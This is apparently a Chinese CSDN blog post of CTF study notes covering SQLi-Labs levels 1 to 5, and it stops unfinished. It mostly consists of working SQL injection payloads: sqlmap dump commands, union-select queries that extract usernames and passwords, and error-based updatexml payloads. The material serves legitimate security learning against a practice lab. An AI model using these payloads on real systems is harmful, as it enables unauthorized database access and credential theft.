二、CTF-Web-SQLi-Labs(记录CTF学习)

目录

SQLi-LABS Page-1(Basic Challenges)

Less-1 **Error Based- String**(字符型注入')

Less-2 **Error Based- Intiger**(整数型注入)

Less-3 Error Based- String (with Twist)(闭合'))

Less-4 Error Based- DoubleQuotes String(闭合"))

Less-5 Double Query- Single Quotes- String(报错注入)


注1:首先要判断闭合方式

注2:一定要注意url地址栏的闭合符合中英文

注3:url编码:空格为20%,'为27%,#为23%

SQLi-LABS Page-1(Basic Challenges)

Less-1 **Error Based- String**(字符型注入')

        less-1 字符型注入_C4n的博客-CSDN博客_字符型注入

        https://www.cnblogs.com/Timesi/p/16659193.html

        方法一:SQLMAP注入

        (1)判断注入点

        sqlmap -u "url?id=1"

        (2)爆数据库信息

        sqlmap -u "url?id=1" --dbs

        (3)爆当前数据库信息(security)

        sqlmap -u "url?id=1" --current-db

        (4)爆指定数据库中所有表信息(users)

        sqlmap -u "url?id=1" -D security --tables

        (5)爆指定表的所有列的段名(username,password)

        sqlmap -u "url?id=1" -D security -T users --columns

        (6)爆表中所有内容(爆库)

        sqlmap -u "url?id=1" -D security -T users -C id,password,username --dump

        方法二:手工注入

        (1)判断注入点

        url?id=1’报错

        (2)判断注入类型

        如果是数字型注入:

        1 and 1=1 正确

        1 and 1=2 错误

        select * from table_name where id=xxx

        select * from table_name where id=1 and 1=1

        xxx -> 1 and 1=1

        xxx -> 1 and 1=2

        如果是字符型注入:

        1' and 1=1 --+ 正确

        1' and 1=2 --+ 报错

        select * from table_name where id='xxx'

        select * from table_name where id='1' and 1=1

        xxx -> 1' and 1=1 --+

        xxx -> 1' and 1=2 --+

        因此判断此处应为字符型注入。

        (3)爆列数(3列)

        1' order by 3 --+  正确

        1' order by 4 --+  报错

        (4)爆当前数据库信息(security)

        -1' union select 1,2,database() --+

        注1:如果设置id为1,那么mysql确实查出了两条结果(即id=1查询到的结果和database查询到的结果),但是PHP代码决定了该页面只显示一行记录,所有让id等于一个很大的值或者-1,使得id查询不到结果,就只会显示第二条查询语句的结果。

        注2:database()前面加了1,2,的原因是使用union时,union左右两边的查询语句查询到的列数必须相同。这也是前一步需要爆列数的原因。

        (5)爆指定数据库中所有表信息(users)

        -1' union select 1,2,group_concat(table_name)

        from information_schema.tables where table_schema='security' --+

        (6)爆指定表的所有列的段名(username,password)

        -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

        (7)爆表中所有内容(爆库)

        -1' union select 1,2,group_concat(username,0x3a,password) from security.users --+

        注:0x3a是ascii中的':'。

Less-2 **Error Based- Intiger**(整数型注入)

        方法一:SQLMAP注入(同Less-1)

        方法二:手工注入

        (1)判断注入点(同Less-1)

        (2)判断注入类型(同Less-1)

        (3)爆列数(3列)

        1 order by 3  正确

        1 order by 4  报错

        (4)爆当前数据库信息(security)

        -1 union select 1,2,database()

        (5)爆指定数据库中所有表信息(users)

        -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

        (6)爆指定表的所有列的段名(username,password)

        -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

        (7)爆表中所有内容(爆库)

        -1 union select 1,2,group_concat(username,0x3a,password) from security.users

Less-3 Error Based- String (with Twist)(闭合'))

        方法一:SQLMAP注入(同Less-1)

        方法二:手工注入

        (1)判断注入点(同Less-1)

        仔细观察报错语句,发现SQL语句的闭合方式为')。

        (2)判断注入类型(同Less-1)

        (3)爆列数(3列)

        1') order by 3 --+  正确

        1') order by 4 --+  报错

        (4)爆当前数据库信息(security)

        -1') union select 1,2,database() --+

        ………………

Less-4 Error Based- DoubleQuotes String(闭合"))

        方法一:SQLMAP注入(同Less-1)

        方法二:手工注入(闭合方式为"))

        爆列数(3列)

        1") order by 3--+  正确

        1") order by 4--+  报错

        爆当前数据库信息(security)

        -1") union select 1,2,database() --+

        ………………

Less-5 Double Query- Single Quotes- String(报错注入)

        方法一:SQLMAP注入(同Less-1)

        方法二:手工注入

        由于这里不回显查询结果,但是依然会显示报错信息,那么就不使用联合查询注入,而选择报错注入。报错注入主要使用xpath语法错误来进行报错注入,主要利用extractvalue和updatexml两个函数。使用条件:mysql版本>5.1.5。

        注1:extractvalue函数

        正常语法:extractvalue(目标xml文档,xml路径);

        第一个参数是string格式,为xml文档对象的名称。

        第二个参数是xpath格式的字符串,要求符合xpath语法的字符串,如果不满足要求,则会报错,为了方便开发人员调试会将报错信息放在查询结果中。

        作用:从目标xml中返回包含所查询值的字符串。

        常见用法:id=" and(select extractvalue("anything" ,concat('~',(注入语句)))),其中~也可以写成其ASCII码0x7e或者换成#、$等不满足xpath格式的字符。

        注意:extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。例:substring(name,5,3)截取name这个字段从第5个字符开始截取之后的3个字符。

        注2:updatexml函数

        正常语法:updatexml(目标xml文档,xml路径,更新的内容);

        第一个参数是XML的内容。

        第二个参数是需要update的位置XPATH路径。

        第三个参数是更新后的内容。

        和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。第一个参数和第三个参数可以随便写。

        常见用法:id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))

        爆当前数据库信息(security)

        1' and updatexml(1,concat(0x7e,(select database())),1) --+

        爆指定数据库中所有表信息(users)

        1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_

schema.tables where table_schema=database())),1) --+

        爆指定表的所有列的段名(username,password)

        1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_

schema.columns where table_name='users' and table_schema=database())),1) --+

        爆表中所有内容(爆库)

        1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,':',

password)) from users),1,31)),1) --+  还需要继续分页截取。

未完待续。。。

猜你喜欢

转载自blog.csdn.net/qq_27920699/article/details/128349063
ctf
今日推荐